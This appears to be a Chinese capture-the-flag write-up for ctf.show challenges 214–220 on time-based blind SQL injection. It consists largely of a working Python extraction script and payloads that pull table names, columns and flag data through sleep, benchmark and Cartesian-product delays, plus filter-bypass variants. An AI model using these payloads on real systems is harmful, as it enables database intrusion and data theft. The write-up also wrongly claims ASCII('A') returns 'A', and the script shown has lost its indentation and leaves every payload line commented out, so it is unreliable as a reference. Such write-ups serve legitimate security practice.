214-时间盲注
进去啥也看不到,刷新页面并抓包会获得注入漏洞,但我的没有显示那个页面,因为我用的https协议,自动拦截了一部分内容,所以换为http协议
这就好使了,下边的
开始注入尝试,把debug改为1,ip换成输入内容,结果睡眠5秒了
ORD() 函数返回的是整数类型,即给定字符的 ASCII 码值。例如:
SELECT ORD('A');
-- 输出 65
而 ASCII() 函数返回的是一个字符串类型,即指定字符的 ASCII 码值在当前字符集中对应的字符。例如:
SELECT ASCII('A');
-- 输出 'A'
下边是我的脚本,制作不易,对你有用的话点个赞(跳过了对证书的检验)
import requests
import time
import sys
import urllib3
urllib3.disable_warnings()
url="http://1d3feafc-c8b2-4629-a187-d73e2602033e.challenge.ctf.show//api/"
flag=""
flagstr="-0123456789_abcdefghijklmnopqrstuvwxyz}{"
for i in range(1,60):
for mid in flagstr:
#查表
#(select group_concat(table_name) from information_schema.tables where table_schema=database())
#payload="if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}),sleep(3),1)#".format(i,ord(mid))
#查列
#(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx')
#payload="if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))={}),sleep(3),1)#".format(i,ord(mid))
#查库
#payload="if((ascii(substr((select database()),{},1))={}),sleep(3),1)#".format(i,ord(mid))
#查数据
#(select flaga from ctfshow_flagx)
#payload="if((ascii(substr((select flaga from ctfshow_flagx),{},1))={}),sleep(3),1)#".format(i,ord(mid))
#判断表个数
#ip=if((select count(table_name) from information_schema.tables where table_schema = database()) = 2,sleep(3),1)#&debug=1
#第一个列名长度
#length((select column_name from information_schema.columns where table_schema = database() and table_name = 'ctfshow_fl0g' limit 0, 1)) = 2
#ip=if(length((select column_name from information_schema.columns where table_schema = database() and table_name = 'ctfshow_flagx' limit 0, 1)) = 2,sleep(3),1)#&debug=1
data = {
'ip':payload,
'debug':'1'
}
try:
#print(payload)
r=requests.post(url=url,data=data,timeout=2,verify=False)
except:
time.sleep(0.3)
flag+=mid
print("++"+flag)
break
215单引号闭合
ip='or sleep(2)#&debug=1或
ip=127.0.0.1'and sleep(2)#&debug=1或
ip=127.0.0.1' sleep(2)#&debug=1,payload前面加个单引号闭合就行
大体思路是↑,结合修改上边的脚本
216括号闭合
有个base64解密无所谓
可以ip=1)or sleep(2)#&debug=1
或者正常做法ip=‘’)or sleep(2)#&debug=1 双引号里放个base64的错误值
217sleep被禁用换hanchmark
benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式
就是容易崩环境
把sleep(3)换成benchmark(3000000,md5(1)),看计算后的回应估摸着时间
218benchmark被禁用
benchmark被ban,我们通过笛卡尔积运算来达到延时的目的
笛卡尔积(多表联合查询)(因为连接表是一个很耗时的操作) AxB=A和B中每个元素的组合所组成的集合,就是连接表 SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; select * from table_name A, table_name B select * from table_name A, table_name B,table_name C select count(*) from table_name A, table_name B,table_name C 表可以是同一张表
payload="1)or if((ascii(substr((select flagaac from ctfshow_flagxc),{},1))={}),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B , information_schema.columns C),1)#".format(i,ord(mid))
219rlike被禁
不影响上一个
220substr过滤
用left("abc",1)==substr("abc",1,1)